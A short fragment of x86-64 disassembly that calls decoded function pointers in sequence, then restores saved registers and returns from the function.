bts edi, 0x12
jmp 0x1002e967
mov rcx, qword [0x100b7150]
cmp rcx, rsi
je 0x1002e967
call fcn.10025d70
call rax
test rax, rax
mov rbx, rax
je 0x1002e967
mov rcx, qword [0x100b7158]
cmp rcx, rsi
je 0x1002e967
call fcn.10025d70
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x100b7148]
call fcn.10025d70
mov r9d, edi
mov r8, r12
mov rdx, r13
mov rcx, rbx
call rax
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x68
ret